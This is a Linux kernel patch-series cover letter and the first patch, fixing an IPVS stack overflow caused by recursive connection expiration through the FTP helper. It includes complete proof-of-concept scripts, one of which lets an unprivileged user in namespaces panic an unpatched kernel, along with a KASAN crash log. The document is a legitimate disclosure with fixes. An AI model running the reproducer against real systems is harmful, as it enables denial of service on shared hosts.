[PATCH nf v4 0/3] ipvs: avoid stack overflow from recursive connection expiration

[PATCH nf v4 0/3] ipvs: avoid stack overflow from recursive connection expiration

[Zihan Xi]

Hi Linux kernel maintainers,

We found and validated an issue in
net/netfilter/ipvs/ip_vs_ftp.c and net/netfilter/ipvs/ip_vs_conn.c. The
bug is reachable by a non-root user via a user namespace and a network
namespace.
We've tested it, and it should not affect any other functionality.

This series contains 3 patches:

  1/3 Fix the timer callback race during IPVS connection deletion.
  2/3 Replace recursive controller expiration with an iterative cleanup
      path.
  3/3 Reject zero and configured FTP control ports as data ports.

We will provide detailed information about the bug
in this email, along with PoCs to trigger it.

---- details below ----

Bug details:

The trigger entry point is ip_vs_ftp_out() in
net/netfilter/ipvs/ip_vs_ftp.c. It parses an EPSV reply from the real
server and creates a wildcard data connection from the advertised port.
The baseline PoC uses port 21, the default FTP control port.
ip_vs_conn_new() then binds the FTP helper to the new connection again.
Because the child has IP_VS_CONN_F_NO_CPORT, the next connection from the
same client to the VIP on port 21 matches the wildcard child instead of
creating a new top-level entry.
Repeating EPSV builds a controlled-connection chain.

The active-mode entry point, ip_vs_ftp_in(), has the same chain-building
condition when the derived data port is a configured control port. The
data connection's virtual port is derived from cp->vport - 1. With
ports={21,20}, the derived port is 20, so ip_vs_conn_new() can bind the
FTP helper again.

The FTP entry points are in ip_vs_ftp.c, but the stack-overflow root cause
is in the generic cleanup path in ip_vs_conn.c. When a controlled
connection expires, ip_vs_conn_expire() can delete and expire its
controller. The old path can then call ip_vs_conn_expire() recursively. A
long controlled-connection chain can exhaust the kernel stack. The
reproduced failure occurs during network namespace teardown, but the
cleanup bug is in the generic controller-chain path, not a teardown-only
special case.

Patch 1 prevents a connection from being unlinked while a concurrent timer
callback can still use it. It revalidates n_control and timer state after
excluding the connection from traffic, and gives a concurrent callback
another chance when deletion does not own the timer. The deletion and
controller-chain walk stay under RCU while the timer-callback race is
handled.

Patch 2 continues expiration with the controller after the current
connection has been fully cleaned up instead of recursively calling the
expiration path. The cleanup remains synchronous while using one stack
frame for the whole chain. The iteration also switches the controller to
deletion mode and preserves the timer-callback handling from patch 1.

Patch 3 rejects zero and configured FTP control ports before creating
passive data connections in ip_vs_ftp_out(), covering both PASV and EPSV.
It also rejects a zero active-mode client port and a data port
derived from a configured control port in ip_vs_ftp_in(). Valid data ports
continue through the existing path.

The recursive-cleanup root cause was introduced by
f9200a52eedf ("ipvs: avoid expiring many connections from timer"). The FTP
helper's acceptance of a configured control port is a separate root-cause
fact, introduced by 1da177e4c3f4 ("Linux-2.6.12-rc2"). These are different
root-cause facts, so the fixes use separate Fixes: tags.

Reproducer:

The reproducers are shell scripts with embedded Python. The baseline
reproducer was run as follows:

    SELF_UNSHARE=1 MODE=exit ./poc-original.sh 400

The fixed passive-mode run was:

    SELF_UNSHARE=1 MODE=exit ./poc.sh 200

The active-mode run used this complete kernel command line:

    root=/dev/sda rw console=ttyS0 earlyprintk=serial net.ifnames=0 biosdevname=0 nokaslr panic_on_warn=0 oops=panic systemd.mask=sys-kernel-config.mount systemd.mask=systemd-remount-fs.service systemd.unit=multi-user.target ip_vs_ftp.ports=21,20

and this command:

    SELF_UNSHARE=1 MODE=exit ./poc-active.sh 1

The active-mode validation used depth 1 to check the configured-port
guard; it was not used as a deeper chain stress test.

packetdrill was not used because the trigger requires namespace creation,
the legacy IPVS sockopt ABI, a cooperating TCP server, and namespace
teardown. packetdrill cannot express that complete control-plane setup and
lifetime on its own.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

The baseline was built from 70194dc37670
(7.3.0-rc2-g70194dc37670). The baseline PoC exited with status 0 and
reported 401 IPVS entries after building 400 controlled connections. The
baseline namespace teardown produced the decoded KASAN report below.

The passive PoC ran on the v4 kernel and exited with status 0,
reporting:

    built 200 connections
    rejected control-port replies: 200/200
    ip_vs_conn entries before trigger: 200
    passive data connections created: 0
    exiting namespace holder

The active-mode validation also ran on the v4 kernel and exited with
status 0, reporting:

    built 1 connections
    ip_vs_conn entries before trigger: 1
    derived data connections created: 0
    exiting namespace holder

The fixed passive and active runs produced no KASAN, BUG, Oops, kernel
panic, stack-guard, or general-protection diagnostics. The baseline run
produced the crash during namespace teardown. The crash excerpt below is
copied from the decoded baseline report; unrelated boot output, registers,
and disassembly are omitted.

Reproducer source files:

------BEGIN poc-original.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"
fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7


class Svc(ctypes.Structure):
    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]


class Dest(ctypes.Structure):
    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]


def native_u32(ip):
    return int.from_bytes(socket.inet_aton(ip), sys.byteorder)


def ipvs_sock():
    return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)


def ipvs_flush():
    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()


def ipvs_add_service():
    svc = Svc()
    svc.protocol = socket.IPPROTO_TCP
    svc.addr = native_u32(vip)
    svc.port = socket.htons(port)
    svc.fwmark = 0
    svc.sched_name = b"rr"
    svc.flags = 0
    svc.timeout = 0
    svc.netmask = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
    finally:
        s.close()
    return svc


def ipvs_add_dest(svc):
    dest = Dest()
    dest.addr = native_u32(real)
    dest.port = socket.htons(port)
    dest.conn_flags = 0
    dest.weight = 1
    dest.u_threshold = 0
    dest.l_threshold = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
    finally:
        s.close()


def recv_line(sock):
    data = bytearray()
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            raise RuntimeError("unexpected EOF")
        data.extend(chunk)
    return bytes(data)


def server():
    try:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((real, port))
        srv.listen(depth + 16)
        ready.set()
        for i in range(depth):
            conn, addr = srv.accept()
            conn.sendall(b"220 ready\r\n")
            line = recv_line(conn)
            if b"EPSV" not in line.upper():
                raise RuntimeError(f"unexpected request on level {i}: {line!r}")
            conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
            accepted.append(conn)
        while True:
            time.sleep(1)
    except BaseException as exc:
        server_error.append(repr(exc))
        ready.set()


try:
    try:
        ipvs_flush()
    except OSError:
        pass
    service = ipvs_add_service()
    ipvs_add_dest(service)
except OSError as exc:
    raise SystemExit(f"ipvs setup failed: {exc}")


threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
    raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((client_ip, 0))
        s.connect((vip, port))
        banner = recv_line(s)
        if not banner.startswith(b"220 "):
            raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
        s.sendall(b"EPSV\r\n")
        reply = recv_line(s)
        if b"229 " not in reply:
            raise RuntimeError(f"unexpected EPSV reply on level {i}: {reply!r}")
        clients.append(s)
        if (i + 1) % 50 == 0 or i + 1 == depth:
            print(f"built {i + 1} connections", flush=True)
    except BaseException as exc:
        client_error.append(repr(exc))
        break

if client_error:
    raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
    raise SystemExit(f"server failed: {server_error[0]}")

try:
    with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
        conn_lines = sum(1 for _ in f) - 1
except OSError:
    conn_lines = -1

print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)

if mode == "hold":
    while True:
        time.sleep(1)
elif mode == "flush":
    ipvs_flush()
    print("IPVS flush returned", flush=True)
    while True:
        time.sleep(1)
elif mode == "exit":
    print("exiting namespace holder", flush=True)
    sys.stdout.flush()
    os._exit(0)
else:
    raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc-original.sh--------

------BEGIN poc.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"
fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []
rejected = 0

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7


class Svc(ctypes.Structure):
    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]


class Dest(ctypes.Structure):
    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]


def native_u32(ip):
    return int.from_bytes(socket.inet_aton(ip), sys.byteorder)


def ipvs_sock():
    return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)


def ipvs_flush():
    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()


def ipvs_add_service():
    svc = Svc()
    svc.protocol = socket.IPPROTO_TCP
    svc.addr = native_u32(vip)
    svc.port = socket.htons(port)
    svc.fwmark = 0
    svc.sched_name = b"rr"
    svc.flags = 0
    svc.timeout = 0
    svc.netmask = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
    finally:
        s.close()
    return svc


def ipvs_add_dest(svc):
    dest = Dest()
    dest.addr = native_u32(real)
    dest.port = socket.htons(port)
    dest.conn_flags = 0
    dest.weight = 1
    dest.u_threshold = 0
    dest.l_threshold = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
    finally:
        s.close()


def recv_line(sock):
    data = bytearray()
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            raise RuntimeError("unexpected EOF")
        data.extend(chunk)
    return bytes(data)


def server():
    try:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((real, port))
        srv.listen(depth + 16)
        ready.set()
        for i in range(depth):
            conn, addr = srv.accept()
            conn.sendall(b"220 ready\r\n")
            line = recv_line(conn)
            if b"EPSV" not in line.upper():
                raise RuntimeError(f"unexpected request on level {i}: {line!r}")
            conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
            accepted.append(conn)
        while True:
            time.sleep(1)
    except BaseException as exc:
        server_error.append(repr(exc))
        ready.set()


try:
    try:
        ipvs_flush()
    except OSError:
        pass
    service = ipvs_add_service()
    ipvs_add_dest(service)
except OSError as exc:
    raise SystemExit(f"ipvs setup failed: {exc}")


threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
    raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((client_ip, 0))
        s.connect((vip, port))
        banner = recv_line(s)
        if not banner.startswith(b"220 "):
            raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
        s.sendall(b"EPSV\r\n")
        s.settimeout(0.2)
        try:
            reply = recv_line(s)
        except socket.timeout:
            rejected += 1
            print(f"control-port reply rejected on level {i}", flush=True)
        else:
            raise RuntimeError(
                f"control-port reply was not rejected on level {i}: {reply!r}"
            )
        clients.append(s)
        if (i + 1) % 50 == 0 or i + 1 == depth:
            print(f"built {i + 1} connections", flush=True)
    except BaseException as exc:
        client_error.append(repr(exc))
        break

if client_error:
    raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
    raise SystemExit(f"server failed: {server_error[0]}")
if rejected != depth:
    raise SystemExit(f"expected {depth} rejected replies, got {rejected}")

try:
    with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
        conn_lines = sum(1 for _ in f) - 1
except OSError:
    conn_lines = -1

print(f"rejected control-port replies: {rejected}/{depth}", flush=True)
print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
if conn_lines != depth:
    raise SystemExit(
        f"expected {depth} IPVS entries, got {conn_lines}; "
        "a passive data connection was created"
    )
print(f"passive data connections created: {conn_lines - depth}", flush=True)

if mode == "hold":
    while True:
        time.sleep(1)
elif mode == "flush":
    ipvs_flush()
    print("IPVS flush returned", flush=True)
    while True:
        time.sleep(1)
elif mode == "exit":
    print("exiting namespace holder", flush=True)
    sys.stdout.flush()
    os._exit(0)
else:
    raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc.sh--------

------BEGIN poc-active.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"
fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7


class Svc(ctypes.Structure):
    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]


class Dest(ctypes.Structure):
    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]


def native_u32(ip):
    return int.from_bytes(socket.inet_aton(ip), sys.byteorder)


def ipvs_sock():
    return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)


def ipvs_flush():
    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()


def ipvs_add_service():
    svc = Svc()
    svc.protocol = socket.IPPROTO_TCP
    svc.addr = native_u32(vip)
    svc.port = socket.htons(port)
    svc.fwmark = 0
    svc.sched_name = b"rr"
    svc.flags = 0
    svc.timeout = 0
    svc.netmask = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
    finally:
        s.close()
    return svc


def ipvs_add_dest(svc):
    dest = Dest()
    dest.addr = native_u32(real)
    dest.port = socket.htons(port)
    dest.conn_flags = 0
    dest.weight = 1
    dest.u_threshold = 0
    dest.l_threshold = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
    finally:
        s.close()


def recv_line(sock):
    data = bytearray()
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            raise RuntimeError("unexpected EOF")
        data.extend(chunk)
    return bytes(data)


def server():
    try:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((real, port))
        srv.listen(depth + 16)
        ready.set()
        for i in range(depth):
            conn, addr = srv.accept()
            conn.sendall(b"220 ready\r\n")
            line = recv_line(conn)
            if not line.upper().startswith(b"PORT "):
                raise RuntimeError(f"unexpected request on level {i}: {line!r}")
            conn.sendall(b"200 PORT command successful\r\n")
            accepted.append(conn)
        while True:
            time.sleep(1)
    except BaseException as exc:
        server_error.append(repr(exc))
        ready.set()


try:
    try:
        ipvs_flush()
    except OSError:
        pass
    service = ipvs_add_service()
    ipvs_add_dest(service)
except OSError as exc:
    raise SystemExit(f"ipvs setup failed: {exc}")


threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
    raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((client_ip, 0))
        s.connect((vip, port))
        banner = recv_line(s)
        if not banner.startswith(b"220 "):
            raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
        s.sendall(b"PORT 198,51,100,3,4,1\r\n")
        time.sleep(0.2)
        clients.append(s)
        if (i + 1) % 50 == 0 or i + 1 == depth:
            print(f"built {i + 1} connections", flush=True)
    except BaseException as exc:
        client_error.append(repr(exc))
        break

if client_error:
    raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
    raise SystemExit(f"server failed: {server_error[0]}")

try:
    with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
        conn_lines = sum(1 for _ in f) - 1
except OSError:
    conn_lines = -1

print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
if conn_lines != depth:
    raise SystemExit(
        f"expected {depth} IPVS entries, got {conn_lines}; "
        "a derived data connection was created"
    )
print(f"derived data connections created: {conn_lines - depth}", flush=True)

if mode == "hold":
    while True:
        time.sleep(1)
elif mode == "flush":
    ipvs_flush()
    print("IPVS flush returned", flush=True)
    while True:
        time.sleep(1)
elif mode == "exit":
    print("exiting namespace holder", flush=True)
    sys.stdout.flush()
    os._exit(0)
else:
    raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc-active.sh--------

----BEGIN crash log----
[   40.621758] BUG: KASAN: stack-out-of-bounds in __unwind_start (arch/x86/kernel/unwind_orc.c:715)
[   40.621785] Write of size 112 at addr ff11000007307e98 by task kworker/u8:0/12
[   40.621785] 
[   40.621785] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy) 
[   40.621785] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   40.621785] Workqueue: netns cleanup_net
[   40.621785] Call Trace:

[   40.951167] BUG: unable to handle page fault for address: ff11000011430ff4
[   40.951167] #PF: supervisor instruction fetch in kernel mode
[   40.951167] #PF: error_code(0x0011) - permissions violation
[   40.951167] PGD 6f1e067 P4D 6f1f067 PUD 6f20067 PMD 80000000114001e3 
[   40.951167] Thread overran stack, or stack corrupted
[   40.951167] Oops: Oops: 0011 [#1] SMP KASAN NOPTI
[   40.951167] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Tainted: G        W           7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy) 
[   40.951167] Tainted: [W]=WARN
[   40.951167] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   40.951167] Workqueue:  0x0 (events_freezable_pwr_efficient)

[   40.951167] Call Trace:
[   40.951167]  <TASK>
[   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   40.951167]  </TASK>

[   40.951167] Kernel panic - not syncing: Fatal exception
[   40.951167] Shutting down cpus with NMI
[   40.951167] Kernel Offset: disabled
[   40.951167] ---[ end Kernel panic - not syncing: Fatal exception ]---
-----END crash log-----

changes in v4:
  - Add Julian Anastasov's timer-callback deletion fix as patch 1,
    including n_control revalidation.
  - Rebase iterative controller cleanup on that fix and keep the
    controller walk synchronous without recursive expiration.
  - Resend the FTP helper checks as patch 3/3.
  - v3 Link: https://lore.kernel.org/all/cover.1789877273.git.zihanx@nebusec.ai/
changes in v3:
  - Add the active-mode guard for configured FTP control ports.
  - Handle the timer-callback race while keeping controller cleanup
    iterative and synchronous.
  - v2 Link: https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
  - Replace recursive controller expiration with an iterative path.
  - Add the FTP-helper checks for configured control ports.
  - v1 Link: https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/

Best regards,
Zihan Xi

Julian Anastasov (1):
  ipvs: wait the running timer cb on conn deletion

Zihan Xi (2):
  ipvs: avoid stack overflow from recursive connection expiration
  ipvs: reject FTP control ports as data ports

 net/netfilter/ipvs/ip_vs_conn.c | 117 ++++++++++++++++++--------------
 net/netfilter/ipvs/ip_vs_ftp.c  |  18 +++++
 2 files changed, 85 insertions(+), 50 deletions(-)

-- 
2.43.0

[PATCH nf v4 1/3] ipvs: wait the running timer cb on conn deletion

[Zihan Xi]

From: Julian Anastasov <ja@ssi.bg>

Sashiko reports for problem when deleting connections.

If connection timer expires, its callback can not be
concurrently running but if connection is deleted
the callback can be running on another CPU even
after all references are released. Before now we
continued with the connection freeing, risking the
callback to access the deleted connection after it
is freed. As ip_vs_conn_del*() run under RCU lock
there is no risk accessing a freed connection by
concurrent timer callback as Sashiko warns, may
be only if our timer expires and we try to delete
the cp->control chain.

Fix that by failing the ip_vs_conn_unlink() call after
refcnt is restored to 1 allowing the timer callback
to be scheduled for new execution which should happen
after the detected running callback finishes.

One of two things can happen when we detect the
running callback:

1. the concurrent timer callback can see refcnt 0 and
do nothing, so we will schedule new timer callback to
expire the connection after the running one finishes

2. the concurrent timer callback can see refcnt 1 and
to expire the connection as usually, in this case we
will see refcnt 0 and will do nothing

Add explicit rcu_read_lock() while deleting the cp->control
chain to protect from concurrent timer callback for ct to
expire it before us.

During such races, try to keep 0 in cp->timeout as it is
a request for deleting our cp->control chain immediately.

Link: https://sashiko.dev/#/patchset/cover.1789435989.git.zihanx%40nebusec.ai
Fixes: f9200a52eedf ("ipvs: avoid expiring many connections from timer")
Signed-off-by: Julian Anastasov <ja@ssi.bg>
---
 net/netfilter/ipvs/ip_vs_conn.c | 103 +++++++++++++++++---------------
 1 file changed, 54 insertions(+), 49 deletions(-)

diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
index 6fa3e1dc534c3..32cfc02aa2912 100644
--- a/net/netfilter/ipvs/ip_vs_conn.c
+++ b/net/netfilter/ipvs/ip_vs_conn.c
@@ -313,17 +313,34 @@ static inline int ip_vs_conn_hash(struct ip_vs_conn *cp)
 /* Try to unlink ip_vs_conn from conn_tab.
  * returns bool success.
  */
-static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
+static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp, bool my_cb)
 {
 	struct netns_ipvs *ipvs = cp->ipvs;
 	struct hlist_bl_head *head, *head2;
 	u32 hash_key, hash_key2;
 	struct ip_vs_rht *t;
-	bool ret = false;
 	bool use2;
 
+	if (!refcount_dec_if_one(&cp->refcnt))
+		return false;
+
 	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
-		return refcount_dec_if_one(&cp->refcnt);
+		return true;
+
+	/* Revalidate after conn is excluded from traffic:
+	 * - not controlling other conns
+	 * - no pending/running timer callback
+	 *
+	 * And the winner is ...
+	 */
+	if (atomic_read(&cp->n_control) ||
+	    (!timer_delete(&cp->timer) && !my_cb)) {
+		/* Not me? Give the timer callback another chance, even
+		 * if one is concurrently running during the conn deletion.
+		 */
+		refcount_inc(&cp->refcnt);
+		return false;
+	}
 
 	rcu_read_lock();
 	local_bh_disable();
@@ -337,15 +354,11 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
 		      false /* new_hash2 */, &head, &head2);
 
 	if (cp->flags & IP_VS_CONN_F_HASHED) {
-		/* Decrease refcnt and unlink conn only if we are last user */
-		if (use2 == ip_vs_conn_use_hash2(cp) &&
-		    refcount_dec_if_one(&cp->refcnt)) {
-			hlist_bl_del_rcu(&cp->hn0.node);
-			if (use2)
-				hlist_bl_del_rcu(&cp->hn1.node);
-			cp->flags &= ~IP_VS_CONN_F_HASHED;
-			ret = true;
-		}
+		/* Unlink conn as we are the last user */
+		hlist_bl_del_rcu(&cp->hn0.node);
+		if (use2)
+			hlist_bl_del_rcu(&cp->hn1.node);
+		cp->flags &= ~IP_VS_CONN_F_HASHED;
 	}
 
 	conn_tab_unlock(head, head2);
@@ -353,7 +366,7 @@ static inline bool ip_vs_conn_unlink(struct ip_vs_conn *cp)
 	local_bh_enable();
 	rcu_read_unlock();
 
-	return ret;
+	return true;
 }
 
 
@@ -1319,34 +1332,29 @@ static void ip_vs_conn_rcu_free(struct rcu_head *head)
 	kmem_cache_free(ip_vs_conn_cachep, cp);
 }
 
-/* Try to delete connection while not holding reference */
+/* Try to delete connection while not holding reference.
+ * It can be called concurrently and always under RCU lock.
+ */
